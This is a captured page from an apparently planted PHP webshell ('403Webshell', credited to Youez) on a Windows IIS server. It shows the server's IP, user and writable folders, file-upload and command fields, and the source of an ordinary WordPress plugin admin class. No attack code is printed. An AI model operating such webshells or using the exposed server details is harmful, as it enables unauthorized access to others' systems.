403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/repository/wp-content/plugins/wp-front-end-repository/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/repository/wp-content/plugins/wp-front-end-repository/classes/class.admin.php
<?php
/*
 * working behind the seen
 */

include_once($repo -> plugin_path . '/admin/admin-options.php');

class nmRepositoryAdmin extends nmRepositoryAction{
	
	function __construct(){
		
		add_action('admin_menu', array($this, 'hookMeInAdmin'));
	}
	
	
	/*
	 * creating menu page for this plugin
	 */
	
	function hookMeInAdmin(){
		
		global $repo;
		
		$page = add_menu_page($repo -> plugin_fullname,
				__("NMRepoManager", $repo -> plugin_shortname),
				'edit_plugins',
				$repo -> plugin_shortname,
				array($this, 'renderOptions'),
				$repo -> plugin_url.'/images/option.png');
		
		$page_stats = add_submenu_page( $repo -> plugin_shortname,
				'Files Stats',
				'Files Stats',
				'manage_options',
				'nm-repo-files',
				array($this, 'fileStats'));
		
		
		/*
		 * loading sytle only for plugin page
		 */
		add_action('admin_print_styles-'.$page, array($repo, 'loadStyleAdmin'));
		add_action('admin_print_styles-'.$page_stats, array($repo, 'loadStyleAdmin'));
	}
	
	/*
	 * rendering options
	 */
	
	function renderOptions(){
		
		global $repo_options, $repo;
		
		$settingsFile = $repo -> plugin_path.'/admin/settings.php';
		include ($settingsFile);
		
	}
	
	
	function fileStats(){
		global $repo;
		
		$file = $repo -> plugin_path.'/includes/admin/file-stats.php';
		include($file);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit